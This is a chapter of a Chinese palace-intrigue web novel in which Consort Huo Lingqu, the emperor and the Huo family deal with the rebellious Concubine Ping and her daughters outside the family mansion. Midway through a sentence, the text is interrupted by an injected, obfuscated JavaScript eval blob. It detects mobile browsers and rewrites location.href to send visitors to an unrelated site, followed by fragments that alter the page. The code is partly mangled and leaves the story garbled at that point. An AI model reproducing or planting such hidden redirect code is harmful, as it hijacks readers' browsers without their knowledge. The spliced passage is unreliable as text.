“数十日?”霍灵渠接受能力挺强,已经能纠个错:“你最多奇思妙想俩时辰吧。” 晏霁之再捂把脸就为这对话,霍秦川感觉大受侮辱般对抗:“贵妃?!您凭什么猜老臣最多思量两个时辰,您要是没有证据能支持您的猜测,您必须给老臣道歉。” 霍擎和霍漓江连霍海啸都要嫌这爹幼稚啦,霍灵渠淡定破击:“大伯你可亲自告诉我,你就是把娉姨娘当个能讨你欢心的玩意儿,你从来没把她放在心上过;不在意的人和事若是多费心思就是吃饱撑得找罪受,大伯你若是会想找罪受,我请姑母给你搭把手?” “贵妃您欺负老臣啊!”霍秦川装出副大受委屈样:“老臣告退!”语毕,他速遁。 穆国公居然真就这么跑掉了?在座的六位看得差点傻眼,霍擎忒嫌丢人地站起来请示:“陛下,霍秦川太不像话了,老臣带霍漓江和霍海啸去训训他。” 嬴忱璧沉默两息后应允:“好。” 出什么事了?晏霁之奇怪老穆国公怎会突然带儿孙离开?霍海啸同有疑惑,走到院外,四下没有外人,他就问:“祖父,您这是何意?” 96. 第96章 一株葱茏绿藤爬在斑驳的墙垣,仿佛老朽抽出鲜活,焕发的是生生不息。 霍擎老眼中有深意,调调却不大正经:“霍漓江,你给你大侄儿说说。” “骄纵二十多年、就差宠妾灭妻的宠妾,舍掉时竟然能毫不拖泥带水。”霍漓江哼笑:“这个事在皇帝看来和咱们看来能是同个感观吗?” “皇帝会疑我爹用心险恶?”但霍海啸仍不解:“可我们退出来作甚?” “就看陛下会不会和贵妃谈谈?”年逾七十的老太爷目光浩远:“当着咱们三个的面,陛下不会提,可陛下若能对贵妃甚至是晏霁之这娃娃聊聊,证明陛下不会因此事就影响他对霍家原有的态度,皇帝更懂老头我带你们离开的意思,够了。” 阳光掠过墙头绿藤,落在树荫刻录游痕,霍灵渠凝视祖父和爹爹他们远走的方向半响,视线转向眼前,是记忆中的庭院又不似记忆中的模样,她记得檐下的铃铛记得庭前的大树,记忆中的秋千架水车石洞还有能骑的木马却是不见了。 霍灵渠沉浸在回忆中,耳畔冷不防炸响起皇帝的声音:“贵妃似乎没想法?” “想法,什么想法?”霍灵渠怪怪的,嬴忱璧看来就是贵妃竟还一脸茫然,心大得真叫皇帝有点想撑着额头缓会儿:“霁之,你给贵妃说说。”然后皇帝他就对上张假装茫然的脸,顿时受激得拔高声音:“简直胡闹,现在是你耍玩的时候吗?” “天地良心啊,陛下!”晏霁之真没跟上皇帝的思路:“我发誓,真没耍什么,您总得告诉臣出什么事了,臣才能给贵妃解说;否则没头没脑的,我真不知要说什么。” 嬴忱璧能信么?皇帝就觉得晏霁之装得假过头了,可还没跟这臣子算账,眼风瞥见贵妃满脸副他在没事找事的模样,他只能把晏霁之愚弄他的账押后,先教导贵妃。 “贵妃,穆国公宠这娉姨娘宠得近乎宠妾灭妻,就算只是个讨他欢心的玩意儿,可好歹二十多年啊,这妾室还给他生了三个儿女,他竟然能无动于衷地将这妾室抛掉甚至毁掉!让这娉姨娘病逝都比送给愗郡公强得多吧,穆国公这做法得是多狠啊。 一个他毫不在意的妾室,他能娇宠二十多年宠到令外人都相信是他的心头好,这样的人该有多恐怖,谁还能再辨得出霍秦川的真心甚至他还会有心吗?他对贵妃又会是什么态度,贵妃还能相信这位伯父吗,会否贵妃将来真正的对手是他?” 正徽帝嬴忱璧掩饰失落地摇摇头:“朕想想都觉得有丝背脊发凉,不寒而栗呀。” 晏霁之也懂了老穆国公带儿孙离去的缘故,不得不感叹老人家的老辣。 对于皇帝的操心,霍灵渠无语凝噎地想翻白眼:“我当然相信我大伯,陛下你小题大做得都有毛病了吧,我大伯不想要娉姨娘就不想要了呗,你管他如何处置小妾作甚?何况怎会是让娉姨娘病逝更好,好死不如赖活着,死怎么可能会比活着强得多?” “贵妃,朕说的是穆国公的心思。”嬴忱璧着重强调:“你看他对这个娉姨娘的处理,他甚至都能给自己谋划顶绿帽,你看着这样的人,难道你不觉得毛骨悚然吗?” “我觉得你让我毛骨悚然如芒刺在背。”霍灵渠讥讽:“你还想跟我白头偕老?你这种人不孤独终老都天理难容吧,臣妾奉劝您,陛下还是当心今后被你的疑心撑死吧。” 霍灵渠甩下顶撞就走掉,皇帝喊两遍都没把固执的贵妃喊住,不想惯着去追贵妃便转向晏霁之找认同:“你说贵妃是不是被穆国公灌迷魂汤了,怎会如此糊涂?” “在陛下提出您的观点之前臣都没想到过您这想法,臣只觉得穆国公真是太有才了。”晏霁之表过态再觑皇帝,皇帝果然怒:“霁之,朕跟你说正经的!” “陛下,穆国公掩藏过他的心思吗?”晏霁之叹口气,孜孜劝道:“贵妃话音犹在:大伯你可亲自告诉我,你就是把娉姨娘当个能讨你欢心的玩意儿,你从来没把她放在心上过。晌午在长春宫时贵妃更曾明言,穆国公能把这娉姨娘和霍鸳娇都绑起来扔在柴房里。 这态度摆明穆国公不在意这妾室乃至这妾室生的儿女,就是拿来寻开心。 霍鸳娇三姐弟自小得到的教导、给霍鸳娇择的夫家、霍鹣娇退亲进宫都能佐证,霍秦川对他们四个自始至终就是不在意呀。穆国公夫人、霍海啸,穆国公夫人的娘家谁又不清楚,倘若博陵崔氏不清楚,霍秦川宠妾名声在外,崔家会稳如泰山吗?” “至于穆国公怎样宠这妾室?”晏霁之无奈:“陛下,穆国公还不能有点喜好吗?他有何不能把个他毫不在意的玩意儿宠到近乎宠妾灭妻,他愿意把这个能讨他欢心的玩意儿宠得无法无天,不行吗?难道他这样宠了就必须在意这妾室吗? 穆国公有何不能把宠和在意分开,世间有形形色色的人,不可能都千篇一律。至于把这娉姨娘送给愗郡公?既然是他不在意的,穆国公不想要就不想要了,是病逝还是别的方式,都是不要了,本质有差别吗,陛下何必非得计较他用什么方式?” “何况死多便宜。”晏霁之眼底一丝阴寒:“或许他就是故意把人送给愗郡公,霍家祖孙谁不狠?他霍秦川本就是个狠人,狠才是他的作风。”晏霁之注视着皇帝,没有避讳地直呼皇帝的名:“我相信他的答案,忱璧。” 皇帝嬴忱璧愣下才想明白指向:“你是指穆国公说的,一个多月前的宫宴上霍鸳娇姐妹辱骂贵妃,朕虽然处置过了但他还没有表示?他这是在给贵妃交代?” “或许不是交代就是他对灵渠的疼爱。”晏霁之豁然笑:“他霍秦川的心尖尖呀,他作甚要纵容两个他根本不在意的货色欺辱他的心尖尖,我们为什么不能相信,在他霍秦川心里,娉姨娘和霍鸳娇姐妹加起来连霍灵渠一根头发丝都比不上,就是他的真心话呢。 一个多月前的宫宴上这俩姐妹威胁他:爹你要是再偏向这种侄女,你就别认我这女儿。穆国公当时曾被逼到反问她们真想即刻跟他断绝父女关系吗?此言有何不能出自他的真心,他有何不能最疼爱霍灵渠呀,谁还想规定穆国公不能最疼爱霍灵渠吗?” 嬴忱璧背脊松下,好像他塌得溃不成军:“二十多年,当真就丝毫没有情份吗?” 晏霁之腹诽皇帝果然很容易做睁眼瞎,面上很正经和悦:“陛下,霍鸳娇和霍鹣娇姐妹还有她们生母的性情都在您眼中,臣扪心自问,臣对这种人都懒得多看一眼。 相处二十多年可以有二十多年的情份也可以早已厌恶,难道人和人相处就必须越是相处日久越要有情份、难道您从未见识过两个人渐行渐远相看两厌吗?” 嬴忱璧哑然甚至有些苦涩:“你是不是也觉得朕刻薄寡恩,朕的疑心很重?” “陛下心善,人心自来多向善,不经思索就会觉得两人相处多年就该很有情份。正如,自郭皇后辞位的消息传出,一年来厚运大总管明显对椒房殿甚殷切热络。”晏霁之宽解道:“陛下有这点疑心算不得什么,您是皇帝,保持警惕总没错,何况您都没遮掩。” 嬴忱璧默然半响,还是没忍住倾诉的欲望:“霁之,朕想对霍家好的,朕真的想对霍家好的,哪怕穆国公真会令朕如芒刺在背,朕都愿意对霍家好。或许是因为朕想对霍家好,故而对霍家寄予得多,朕盼着霍家能满足朕的期许便会不自觉地对霍家苛刻些。” 期望被认同的渴望深藏在眼底还是泄出几丝殷切,皇帝声音忽轻:“你相信吗?” “相信,臣相信陛下真想对霍家好,甚至想让霍家做皇帝的外祖家。”晏霁之眉眼含笑,眼中闪烁着自信的风芒,既是对皇帝的信任更是对自己判断的自信,内敛中饱藏意气风发,而这种被信任和认同的感觉也令皇帝舒心得都没驳斥外祖家这三个字。 嬴忱璧只劝他:“忘掉灵渠吧,执泥过往对谁都没好处,你短期内难以释怀也无妨,你什么时候能放下释怀,告诉朕,我给你赐婚,你想娶谁家姑娘,我都给你赐婚。” 晏霁之没表态没谢恩,沉默下后跳个话题:“臣想向陛下求个恩典,山西巡抚有意亲自参淄州府尹私自征调百姓私挖铜矿,佟家覆灭在即,臣想请求陛下宽恕佟图匡不死。” 嬴忱璧对听到佟家覆灭没什么波动只确认:“霁之只保外祖父,不想保外祖母吗?” “外祖父对我有过真心,疼爱过我,真心教导过我,这份真心比之我生母都强百倍。”晏霁之眼眸凝冷,垂眸道:“他真心对我好过,我愿意保他给他条后路。而佟老太太,陛下见过血蛭吗?就是专趴在人身上不把人吸干不罢休的吸血鬼。” 嬴忱璧抬头遥望湛蓝天际,凝视稍许,那么像有感而发:“朕,见过。” 红日在霍府短暂的祥和中滑向西移的赛道,皇帝在霍府前院的湖边找到呆坐的霍贵妃,晏霁之找霍海啸下棋,对弈氛围刚推高,一名从皇城赶来的禁军打破了祥和。 禁军送来步昂大统的纸条,纸条上书:霍秀仪假扮建威侯夫人的婢女出宫了,哪位太妃给霍秀仪出的主意、给皇后娘娘和建威侯夫人做的说客,陛下恕罪,卑职还未查到。 霍海啸指挥亲弟把纸条送给皇帝,晏霁之补个消息:“晌午时太后下令,霍秀仪禁足。”落下枚白棋,他闲着侃侃:“你这位庶妹对太后的命令都不放在眼里吗?还有啊,是你霍家在皇宫里的威势有问题还是芷筠斋的宫人不对劲,这也能把人放走?” “没动过真格,何况到底姓霍,就是能占到霍姓的便宜。”霍海啸陡生烦躁地掷棋子:“但皇宫里的太妃确实太闲了,这么简单的令行禁止,宫人都做不到。” “要不然你找个机会向陛下建议把皇宫里的太妃送掉批,送还给太上皇,太微宫还能没有年长太妃们的住处吗?”晏霁之端起茶盏抿口,淡笑道:“不管什么理由甚至不用理由,只要陛下把这群太妃送还给太上皇,错的就必定是这群太妃。” “好啊。”随意的附和自他们身后传出,这俩家伙都没觉察,霍海啸真以为自己应的,霍巨浪重重咳嗽引他们看过来,两人才发现皇帝和贵妃就站在他们身后,忙站起行礼。 “我刚走两步就遇到陛下和贵妃。”所以返回得这么迅速,霍巨浪真想数落他够损的,但皇帝都已经赞同寻机把皇宫里的太妃们送掉批,他总不能再说这主意损。 “在皇宫里养老的太妃们是闲,当差的宫婢们似乎更闲。”正徽帝嬴忱璧在石凳落座,将刚收到的纸条甩在棋盘,真就为这点小事动怒了:“是啊,这么简单的令行禁止,宫人们居然都做不到,是不是真要再剪除批宫人才够啊?” 晏霁之奉承:“陛下想剪除批宫人,即可传令放出几百名宫人,何需拖着?” 嬴忱璧转目看他眼,是啊,他想做就做吧,何必拖着:“行吧,准备笔墨,朕写道手谕,让霍枫叶和霍雄鹰带着手谕即刻进宫找步昂禀明太后,天黑前放出三百名宫人。 传喻内廷,起因就在芷筠斋这群混账,太后明令禁足霍秀仪,他们竟敢公然阳奉阴违视皇太后和宫规如若无物,朕念在今日乃贵妃生辰,不宜见血,从轻发落,只放出批宫人;倘若下回再出此等令行不止的混账事,凡是涉及宫人尽数杖毙以儆效尤。” 霍家两兄弟领旨意去办事,笔墨纸砚备来,嬴忱璧写下手谕,霍枫叶和霍雄鹰赶来接下皇帝的手谕还没告退,一小厮匆忙来禀告:“世子,娉姨娘和二姑奶奶带着六爷和一群雷家人举着火把在府外叫嚣要见国公爷,奴婢们好像还见着四姑奶奶了。” 四姑奶奶即霍鹣娇,可霍鹣娇在皇宫里啊,大家辨再清楚都不敢明确回禀。 “举着火把?”霍海啸被气笑了,晏霁之帮忙翻译:“这是被绑出来的经验么,举着火把是在说:看你们谁还敢再绑我们吗?”惹得霍雄鹰没好气瞪他,霍雄鹰真嫌磨叽:“大哥你跟他们那么客气做什么,就把他们打个求爷爷告奶奶,看谁还敢闹?” “对!把他们扔进牢里连找个托词都省了。”霍海啸平复下,向皇帝请示,倘若霍秀仪当真在场该如何对待,嬴忱璧淡淡道:“杖打二十大板,今后都不必侍寝了。” 闻言,霍巨浪心地不错都没有求情的意思,霍雄鹰还嫌惩处得轻了呢,霍海啸尚未应,霍灵渠抢话道:“陛下,罚鞭打二十和今年不侍寝吧,打板子对嫔妃是耻辱,今后都不得侍寝更会让她绝望;娉姨娘和霍鸳娇让愗郡公带走,只要愗郡公能管住不就行了。” 霍秀仪的生机在皇帝这里只到明年正月,今年不侍寝和今后都不侍寝相当于没差别,但皇帝还是不想同意:“贵妃,人家该报复的绝不会因惩罚轻就放掉报复的心思。” “我知道,我让大伯和爹爹派眼线盯紧她们了,但在收到她们想对付我或者桑柔的线报前我都不想做太绝,权当顾念她们是疼爱我的伯父的骨血,我是为我大伯。”霍灵渠坚持,正徽帝嬴忱璧叹息:“好,贵妃出面时就这么宣告吧,但举火把那群人得收监。 霍家什么地方?!是公爵府是朝堂重臣人家是皇太后的娘家是后族,随便冒出伙人就敢举着火把来寻衅滋事,不处置还能得了吗?让京兆尹收押俩月,倘若这群人和那个娉姨娘都安生没闹出妖蛾,就把他们放了;否则,押往辽阳服一年苦役。” 霍姓众位谢过恩再告退,嬴忱璧目送贵妃消失,看向棋盘,问仅剩的晏霁之可有兴趣再手谈局?晏霁之真想夸皇帝好雅兴:“陛下,府外的热闹比这会儿下棋来得有意思,我们走霍府的边门出去,混在围观人群中,不会让霍秀仪认出您的。” 嬴忱璧打量他:“朕对霁之的感观,你是个很高雅的人。” “雅俗是一家。”晏霁之实在道:“我每年都会去烟花之地看歌舞,人都有喜好,若是为高雅而高雅,故意端着高雅维持表象,我看来这人反而显假。” “贵妃曾提起晏卿似乎有些不好的脾性。”嬴忱璧忽然有点兴趣:“比如?” 晏霁之在心里骂那女人,郁闷答道:“比如,我和流光亲吻时她若没有提前把口脂擦掉害我沾上她的口脂,就是她的错,她必须哄到我重新高兴为止。” 嬴忱璧面无表情地站起来带他往外走,晏霁之默默跟,心中腹诽是你要问的,你非得问我和我爱妾之间的私密事,你想指望你能听到个什么答案?我答得都算够客气了。 霍府大宅前,围拢的人群,弱化的日晖,都将簇在府前的十几丛火把衬得愈发刺眼。 霍枫叶和霍海啸三兄弟来到府门,目测大概相隔两丈多远,娉姨娘和霍鸳娇居中,左右是霍超群和霍鹣娇,他们身后是十几个举着火把的雷家人。霍雄鹰真想冲过去把他们捏扁,憋闷忍住,牵着马跟小叔往外走去宫里办差事。 看客们让出通道,十四岁的霍超群还以为霍雄鹰要跟他打架,哪想是做逃跑的胆小鬼,不屑奚落:“霍雄鹰有种你别逃跑啊,一点火把就把你吓破胆了吗?你也太没用了吧。” 围观的好事者中都有几个想替这霍六爷的智商担忧了,霍雄鹰差点没忍住想把他暴揍后再走还是被小叔拽着走出人群的。他们来到人群外,翻身骑上马,远远就看见来接驾的銮舆和禁军往霍家走来,猜步昂在队伍中,忙策马迎上去。 这厢边,霍府前刚形成的对峙没持续,霍秀仪霍鹣娇往前站出步对着霍海啸放话:“既然奴婢们传话不管用,霍海啸你就亲自去请父亲出来见姨娘吧,别非逼着我们硬闯。” 好多百姓们都算是长见识了。 在人群中的晏霁之拍拍皇帝的背,猜不出他意图的皇帝嬴忱璧诡异看他,晏霁之通知:“难怪霍灵渠看低你喜欢女人的品位。” 冷不防受刺激的皇帝默默端出高冷范儿,心中默念:贵妃看低他的品位…… 连霍巨浪都懒得搭理,嫌太掉份儿。霍海啸扬扬手,十名护卫各个手持麻绳涌出来向着娉姨娘这伙人冲过去;被绑的耻辱涌上心头,对着霍海啸都没看在眼里的娉姨娘猛然怒喝:“滚开,再不滚,本姨娘就把你们这群看门狗烧成炭!” 谁搭理她呀!看客们就睁大眼睛看着霍家的护卫们出手凌厉地制住霍超群把他绑起来,轻松撂倒举着火把的雷家众人再全部绑起来,围观群众还往后退几步怕被火把打到,恰逢接驾的銮驾抵达,友好地示意百姓们莫出声,他们暂且旁观会儿。 随同銮驾而来的还有群王孙贵胄,魏王带着任逍还有晋王和湘王都在列;百姓们瞧着这皇家来的排场,纷纷退避,两拨人之间还空出了条过道,端的是泾渭分明。 且,还闹出来个笑话。霍海啸压住场子,娉姨娘吼破喉咙如何闹腾都只是她的独角戏,没外人搭理她;霍鹣娇看见禁军,拿着她乃皇帝嫔妃的款儿命令禁军把霍家护卫拿下,引得御前大总管站出来打脸:“秀仪您怕是真昏头了。 皇城禁军只遵奉陛下命令,没有陛下许可连皇后和太后娘娘都无权指使禁军。何况晌午时太后下令您禁足,您非但违抗太后的禁足令还私自出宫,您已是戴罪身,您就安生些吧;否则,陛下和太后想顾及贵妃的体面对您从轻发落都不成啊。” 人群中爆出毫不留情的嘲笑,霍鹣娇姐妹羞愤,娉姨娘更觉得是在打她的脸,被绑着的雷家众人和霍超群被堆做堆由霍家护卫管着还不让她们接近,更气得她眼眶猩红怒不可遏:“霍秦川,霍秦川你给我出来,你再不滚出来见我,我就撞死给你看!” “想死多容易呀,娉姨娘你想死,霍家绝不会阻拦,但你想死在霍府前,不行;霍家的地儿岂能让你的血弄脏了,你想死在霍家大门前就休怪霍家要拦着你了。” 霍灵渠款款走到府门前,站在石阶上,拿捏着居高临下的神态环视,视线掠过众人,最终将目光落在十多年未见的娉姨娘,碾压的姿态犹若浑然天成。 “今日是我生辰,陛下陪我来霍家看看,十几年了,霍家变化不少,我霍灵渠十六年半没见过你了,娉姨娘你果然是连霍秦川都不看在眼里了呀。” 场面安静下来,不太笨的都能猜到突然出现的这位绝代美人就是以前那位流光姨娘也就是现在的霍贵妃。霍海啸和霍巨浪问安,蒋厚运大总管也率领宫人们小跑过来给娘娘请安,禁军站在原地转向行礼,几位王爷都没逃过得颔首示意下。 皇帝的贵妃,位同副后,哪怕百官之首的丞相见到贵妃都得问安,身份够贵重了,担得起在场老百姓们和王孙公子的问候,任逍不屑都没法在魏王晋王他们都颔首问好时做另类,转瞬间似乎只剩娉姨娘和她生的霍鸳娇霍鹣娇没有表示。 同是嫔妃,同是霍家的女儿,何况自己是穆国公的亲女而霍灵渠只是侄女,待遇差别显著得能直戳霍鹣娇的肺管,她愤恨得就是不肯行礼,她姐姐亦是,娉姨娘反而像被吓到了,眼底涌起难以言喻连她自己都没意识到的恐慌:“你、你……” 蒋厚运要训喝被霍贵妃拦住,霍灵渠示意众人不必多礼,她身后,霍舒窈带着俩侄女、霍桑柔带着小祐娃娃蹿出来,连霍蓁蓁和她哥都跟出来了。 “今日是我生辰,庆我生辰之喜,我请魏王给我送了份礼,娉姨娘想猜猜是什么吗?”霍灵渠美眸溢笑仿佛是件趣事:“这礼是跟你有关的,否则我也不会让你猜了。” 魏王淡定看她瞎掰,娉姨娘没理会,猛然迸发出异常凄厉的气势喊:“霍秦川——”即被打断,霍灵渠语调悠扬:“是你呀,今早的好戏,你以为出自谁的手笔?是我请魏王帮忙做的,把你送给愗郡公,给你后半生找个归宿,不必谢恩了。” 人在看热闹、锅从天上来的魏王&以为是穆国公夫人在算计的看客们:“……” 晋王、湘王、薛述聪、任逍以及等等身边众人齐刷刷看向魏王,魏王控制住脸色再凶狠瞪向比他小十岁的小弟弟湘王,直到把湘王瞪得弱弱缩回脑袋,他才在心里抓狂—— 他不想背这种黑锅,这种闲事他都能应承,他得有多无聊;你和霍海啸谋划的、你就扯霍海啸啊,你用得着还帮霍海啸遮掩吗,你有种怎么不扯晏霁之呢?! 晏霁之同在心中腹诽:你可真有才居然还能想到把魏王拖下水,有种你报我啊!! 嬴忱璧倒是平静,此间最平淡的大概就属他这个皇帝了。 被绑着的霍超群挣扎着要冲过去打,霍鸳娇和霍鹣娇惊愣住,她们的生母都安静,唯独她双眼瞪得像活见鬼。看客们猜她会如何抗击,可等好一会儿她都没反应。 霍灵渠抬手理理垂落在耳畔的青 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459288|141656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丝,状似褒奖道:“不错呀,总算娉姨娘你在我面前还有那么点自知,当年给你醒过的脑总算没白费。你知道一个多月前我册封贵妃的宫宴上闹出过什么事吧,你生的霍鸳娇霍鹣娇好胆量啊敢说霍灵渠现在就是贱货烂货。 日前陛下不慎说我是残花败柳,我都不能跟皇帝罢休,你觉得我可能会放过你们吗,还是娉姨娘你也想学着你生的这两个冲我叫嚣叫嚣?” “你就是个贱货烂货!”霍鸳娇冲到姨娘身旁,满脸都是恨不得将她剁碎的痛恨,什么都顾及不得更不想顾及就想狠狠泄恨:“你个做过娼妓又给晏霁之做过妾的破鞋,你还当自己是什么金贵玩意儿吗?你不是贱货烂货谁是,给你留条命在宫里苟活都是我爹对你客气,但凡我让我爹整肃家风,第一个让你自尽保全家族清誉都是最应当不过的事。” “姨娘,我们现在就去找父亲,我们让父亲给咱们报仇让霍灵渠今天就去下地狱——”霍鸳娇急切拉她姨娘,猛地被一巴掌打断,她愣了又愣了才感到痛,是她被生母打歪了头,生母在扇她巴掌,她碰碰嘴皮,不能理解地叫:“姨娘?” 蒋厚运便按住训诫之意,霍海啸皱眉,霍舒窈怀疑,看客们不甚明白,刚看娉姨娘突然扬手扇霍鸳娇巴掌都以为自己看错了,这算什么,算娉姨娘对霍灵渠的谄媚讨好吗?可这位都狷狂地妄想爬到穆国公头顶作威作福了,怎么可能? 晏霁之猜莫非真是霍灵渠童年时对这娉姨娘惩戒多让她长教训知道要对霍灵渠避让吗?可霍贵妃宣称是她在算计,这相当于把他们四个毁掉,这娉姨娘那么狂也还能忍? 霍鹣娇忙小跑到生母身边,看眼姐姐,她推测:“姨娘你在做什么,你莫不是看错了?”她想问姨娘是不是想打霍灵渠但是恨得不能忍又没看清,可没想到,她姨娘竟然也反手给她一巴掌,而后向着霍灵渠跪下了??霍鹣娇懵了。 霍舒窈稀奇了,大伙都神奇了,霍蓁蓁不敢相信,娉姨娘知道自己在做什么吗,她不是应该冲着这长姐拼命才对吗?晋王怀疑这小妾简直脑子搭错,霍超群和雷家人看得定住了,娉姨娘在做什么,这是她会做的事吗?她魔怔了? “三姑娘,三姑娘你大人大量饶恕我吧!”不负大众的猜测,娉姨娘真的是跪下来,向着霍贵妃这个把她从云端打落的肇事者苦求:“我不知道,我不知道呀,我真不知道她们敢对你这么放肆,十六七年了,我才见着三姑娘,我没有得罪你呀。” 这反转得?众人面面相觑,这娉姨娘还真是要求饶啊。 正徽帝嬴忱璧看向身边仅有的爱卿,晏霁之淡淡道:“张牙舞爪的软骨头,不搭理她,她能狂得要上天;处置她到害怕,对她越狠,她只会越卑躬屈膝。” 霍海啸也在给亲弟解说,霍巨浪摇头,娉姨娘还不如硬到底还能让人高看一分。 “姨娘?”霍鸳娇顶着肿起的脸颊蹲下来注视她的生母好像在梦中:“姨娘你怎么了,你是不是魔怔了?”话未尽,她再被生母狠狠扇过个巴掌打得她翻倒,看得霍鹣娇跌退步,姨娘疯了,这个是不知道从哪儿来的孤魂野鬼不是她姨娘。 “霍秀仪公然违抗皇太后的禁足令又私自出宫,念在她是本宫的堂妹,今日乃我生辰,重刑恐损我的福泽,就从轻发落,罚鞭打二十,今年不得侍寝吧。”霍灵渠对御前总管吩咐:“陛下准了,把人拿下就在霍家施鞭刑吧,不必拖着回宫处置了。” 御前总管蒋厚运应是,派小太监去做事,霍鹣娇如她姨娘刚才像活见鬼般瞪着霍灵渠:“霍灵渠你敢——”四个小太监在眼前冒出来,她受不了地骂:“滚,滚开,你们谁敢动我一下我就把你们全都杖毙还要诛你们九族,滚下去,全部滚下去。” 年轻的小太监们平静地拿绸布把霍秀仪绑起来堵住嘴巴拖进霍府去施鞭刑,娉姨娘死死忍着泪花,霍鸳娇眼睁睁看着胞妹被以极扭曲的模样拖走,忽然打个冷颤。 霍贵妃再道:“京兆尹人呢,派人请他请这么久了,他是乌龟爬来着吗?” 霍海啸还没禀告,就在现场的京兆尹麻利从人群中蹿出来小跑到霍贵妃面前行礼。 “喏,看见被霍家护卫绑起来的那群人没有?霍家什么地方,随便伙人就敢举着火把来霍家寻衅滋事还能得了?除霍超群外,其余人暂押去京兆府衙的大狱里关两个月以观后效,倘若雷姓众人安生,两个月后就把他们放了,否则就把他们押往辽阳服一年苦役。” 霍灵渠补充道:“陛下已经同意本宫和霍家的请求,府尹大人放心让官差抓吧。” “是,娘娘。”京兆尹应得爽利,让他带来的官差们抓恶徒。完全没想过还得坐牢的雷家人或害怕得蜷缩往后退或挣扎着想求饶,霍超群呆呆看着,仿佛被吓到了,下意识就懂得了这个他才见第一面的贵妃堂姐真能把他们全灭了。 不知不觉中聚拢过来的看客倍增,乐邑长公主挤到驸马身边,薛述聪冷不丁被她吓跳。班丞相和多位同僚都来了,佟尚书还带着孙子孙女。霍家,世子夫人携三位弟妹和六姑娘、八姑娘来到府门外察看情况。官差们拿铁链抓起恶徒后都没撤,还想把热闹看完呢。 娉姨娘眼眶充血,之前她是怒得眼睛猩红而这刻她是忍得甚至因害怕颤抖得眼眶猩红,对霍灵渠的恐惧都渗进她的骨血里了。霍鸳娇再打个寒颤,看着变得她都不认识的生母,猛然意识到她不能再寄望生母,她不能认,不能就这样人了。 她不要过、再也不要过又被霍灵渠死死压制的日子:“爹,爹,爹你快出来呀,爹爹你再不出来,我们全都要被霍灵渠害死了,姨娘没有对不住你没有背叛你,是霍灵渠在陷害,她想要害死我们,爹你难道要被霍灵渠这样愚弄吗,你快出来呀……” “不要再嚷嚷了,嚷得我耳朵疼。” 霍灵渠走下石阶又走过几步,懒洋洋蔑视:“谁是霍秦川的心尖尖呀,才十六七年,二姐你就这么健忘,合适吗?你看你姨娘比你多吃十几年的米就是没白吃。 十八年前霍秦川宣告过吧,在他心里,你们连我霍灵渠一根头发丝都比不上。我童年在霍家时你还没受够教训吗,二姐呀,你就这么喜欢撞到南墙都不回头吗?” 霍贵妃的意思,她是穆国公的心尖尖吗?看客们真神奇,不过,倘若这娉姨娘从来没在霍灵渠手里讨到过便宜,她的举动倒也算在情理中了。 “我才是女儿,我才是他的女儿!”霍鸳娇受不得这种刺激,爬起来,双手握拳,浑身布满凄厉的痛恨,恨不得把这个童年抢走她所有的堂妹剁碎:“我才是女儿,你只是侄女、只是个侄女,是你抢我的,你在我爹那里得到的疼爱都是我的,是你抢我的!” 众人看着霍鸳娇这模样真有点发瘆,堂姐妹之间积怨能有这么深?一个侄女还能抢走穆国公对亲女的疼爱,真论争抢,怎么都应该是霍舒窈这嫡长女与霍鸳娇争吧? 霍蓁蓁和她哥以及霍六姑娘霍八姑娘连同几位少奶奶尽皆瞄向霍舒窈,霍舒窈呵呵哒:“你们尽管相信她好啦,童年时若不是霍灵渠死死压着她能让她恨成这样吗?” 霍海啸走下台阶,防霍鸳娇真想发疯。霍海啸的嫡长子、十二岁的霍世韬带着堂弟溜到二叔身边。霍巨浪莫名就回头看眼,看见霍振羽站在群女人中间,那处边角落唯二的雄性就他和个五岁的男娃,他是真没觉得那位置有什么不妥。 挨过二十鞭的霍鹣娇跑出来,扶着门框看着姐姐貌若癫狂反而安静了。 “又如何,霍秦川有多少儿女,你非嫡非长,你能算什么,假使你是嫡长女又能如何,你还想管到你亲爹头上管你爹最疼爱谁吗?”霍灵渠冷嗤讥讽:“你见不得你爹最疼爱我,何必委屈自己再做霍秦川的女儿,你断绝父女关系呀,你又不是没威胁过。 一个多月前我册封贵妃的宫宴上你霍鸳娇不就已经放过话:爹你要是再敢偏向霍灵渠,你就别认我这个女儿。”她啧啧恭维:“当时二堂姐多威风,你把你的威风拿出来呀,你对你爹不满你就断绝父女关系呀,我和穆国公必定成全你。” 若说上回没人相信穆国公能舍掉这两个女儿,这回便是几乎没人怀疑穆国公会做不出。霍蓁蓁心戚戚不是滋味,这俩堂姐可是那大伯最宠的女儿,他真就这样不要了? 霍鸳娇瑟缩下,不再理会霍灵渠,专注向父亲求救。霍灵渠凝视她几息时间,美眸浮冷真觉得龌龊:“合着在你自觉父亲宠你时你就只想拿捏亲爹呀? 倘若你真就是这么个货色,我真是要谢谢二堂姐了,把我心里对大伯那丝愧意掐掉了,毕竟我帮穆国公舍掉的是群白眼狼。二姐再喊啊:霍秦川你要是再敢偏向霍灵渠,你就别认我这女儿。你若是怕嗓门不够响,我帮你把这话送到穆国公面前,如何?” 有些看客都要嘲笑出来了,果然霍鸳娇哪敢应,霍鹣娇看姐姐一遍遍喊父亲出来,喊得那么像在给众人当笑柄,深深的悲凉涌现心头,她撑着挨过二十鞭刑的身体跑去生母面前,膝盖软下就跪下了:“姨娘你说话呀,你变回正常好不好? 你怕霍灵渠做什么,爹从来都顺着你,连霍海啸都比不过你得爹的欢心宠爱,我们还用得着怕霍灵渠吗?我们让爹命令二叔管好霍灵渠就好了呀。姨娘,爹不会真计较今早发生的那事儿的,你带我们进府里去找爹爹吧,你不要再跪着了。” “四姑娘?”娉姨娘苦涩落泪,颗颗泪珠顺着她的脸颊滑落犹如滚下来的水珍珠,她已四十岁出头的年纪仍然哭得有迷人风韵:“你错了,你当时还小,你不懂。 